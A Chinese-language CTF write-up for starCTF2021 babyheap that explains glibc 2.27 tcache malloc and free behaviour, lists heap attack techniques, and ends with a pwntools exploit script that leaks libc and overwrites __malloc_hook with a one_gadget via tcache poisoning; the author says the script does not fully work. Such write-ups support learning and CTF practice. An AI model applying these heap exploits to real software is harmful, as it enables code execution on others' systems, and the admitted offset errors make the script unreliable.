众所周知,Glibc2.26以后增加了tcache机制,而比赛中通常会使用2.27版本的题目。于是这里从最近一道题目中总结一些Glibc的堆malloc和free时过程和保护机制。
starCTF2021 babyheap
题目在此下载
题目的add,delete,edit,show功能如上图。漏洞很明显,UAF漏洞,但是难点在于每个堆块的前八个字节都无法直接写,这意味着并不能简单的double free。这里就得利用堆管理机制。
Glibc2.27堆的malloc和free
tcache bins是一个长度为64的字节数组,每个字节数组对应一条链表。所以tcachebins只能存放0x0-0x400大小的堆,且每个链表长度为7,是一个单链表。在释放大小为0x0-0x400大小的堆的时候,首先会被释放入对应长度tcachebins对应的链表中,当长度超出7后,再放入fastbin或unsortbins中。
具体函数流程就不在此详细贴出,只做总结。malloc和free过程与2.23版本差别并不大,更详细内容可以点开reference康康。
malloc:
确定需要分配的内存size==》
tcachebin中寻找==》
fastbin中寻找(size小于0x80),如果有则分配,并把fastbins剩余chunk放入tcachebins直到存满==>
small bin中寻找(size小于0x400),如果有则分配,并把small bin剩余chunk放入tcachebins直到存满,如果smallbin为空调用 malloc_consolidate 来合并 fastbin chunk 到 smallbin 中==》
unsortedbin中寻找(size小于0x400),如果有则分配或者切割,把剩余chunk放到small bins和large bins;若)(size小于0x400)但unsortbin没有满足大小的,切割top chunk==》
size大于0x400时,将fastbins中相邻chunk的合并链接到unsorted bin ;遍历unsortbin,如果unsorted bins上只有一个chunk并且大于待分配的chunk则进行切割;若大小相等直接分配;小于0x400放回small bin;大于0x400放回large bin;若未分配则下一步==》
当将 unsorted bin 中的空闲 chunk 加入到相应的 small bins 和 large bins 后,将使用最佳匹配法分配chunk,找到合适的small bin chunk或者
large bin chunk,然后切割该chunk,返回给用户,切割的剩余部作为一个新的 chunk 加入到 unsorted bin 中==》
上述bin都找不到,切割top chunk;若top chunk不够sbrk(main arena)或mmap(thread arena)扩容
2.27的_int_malloc和2.23的主要区别在于2.27会将fastbin和smallbin还有unsortedbin中多余的块放入tcache中。
free:
判断chunk是否在tcache范围且tcachebins未满,是则放入==》
判断chunk是否与top chunk相邻,是则合并==》
判断chunk大小大于0x80,是则放入unsortedbin,检查是否有合并,有则合并==》
判断chunk大小小于0x80,是则放入fastbin并不改变chunk状态==》
fastbin中,若该chunk下个chunk是空闲的,则会合并放回unsortedbin,并判断大小是否大于 FASTBIN_CONSOLIDATION_THRESHOLD,若是则对fastbin中chunk遍历合并并放回unsortedbin,此时fastbin为空==》
判断topchunk是否大于mmap收缩阙值,若是尝试归还top chunk中一部分给系统。
2.27的free与之前主要的区别在于先检查是否处于tcache范围,且tcache未存满,如果没有存满则直接put进去,之后的操作于2.23如出一辙。
漏洞
tcache poision:修改fd指针
tcache dup:即tcache double free
tcache perthread corruption
tcache house of spirit
smallbin unlink:利用free时机制
tcache stashing unlink#利用free时机制
house_of_bot_cake
reference:
ptmalloc与glibc的数据结构
题目中的利用
程序中有个功能会malloc 0x400。
利用上述所说机制,先把0x50 tcache bin填满并且在fastbins中放入一个0x50 chunk(该chunk不可与top chunk相邻),此时malloc 0x400时,则会泄露libc基址。
再利用上述机制,malloc 0x30时,因为unsortedbin遍历完(本就就为空了),选择smallbins的那个chunk进行切割,并把剩余的部分放到unsortbin(如下),再申请一个0x10的chunk,即可用原来0x50的chunk控制这个0x10的chunk的next指针
后面利用tcach poisoning实现任意地址写,修改malloc_hook为one_gadget即可
exp如下(没通,好像偏移有点问题,但是malloc_hook确实被修改了,主要是想总结堆管理机制,没搞了)
from pwn import *
context.log_level= 'debug'
p = process('./pwn')
#p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
def add(index,size):
p.recv()
p.sendline('1')
p.recv()
p.sendline(str(index))
p.recv()
p.sendline(str(size))
def delete(index):
p.recv()
p.sendline('2')
p.recv()
p.sendline(str(index))
def show(index):
p.recv()
p.sendline('4')
p.recv()
p.sendline(str(index))
def edit(index,content):
p.recv()
p.sendline('3')
p.recv()
p.sendline(str(index))
p.recv()
p.sendline(content)
for i in range(9):
add(i,0x50)
for i in range(7):
delete(i)
delete(7)
p.recv()
p.sendline('5')
p.recv()
p.sendline('')
show(7)
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak - 176 - 0x10 - 0x3ebc30#0x3EBC30
malloc_hook = libc_base + 0x3ebc30 - 0x8
one_gadget = libc_base + 0x4f365
add(0,0x30)
gdb.attach(p)
pause()
add(1,0x10)
delete(1)
payload = 'a'*0x28 +p64(0) +p64(0x21)+ p64(malloc_hook)
edit(7,payload)
add(2,0x10)
add(3,0x11)
edit(3,p64(one_gadget))
gdb.attach(p)
add(1,0x20)
p.interactive()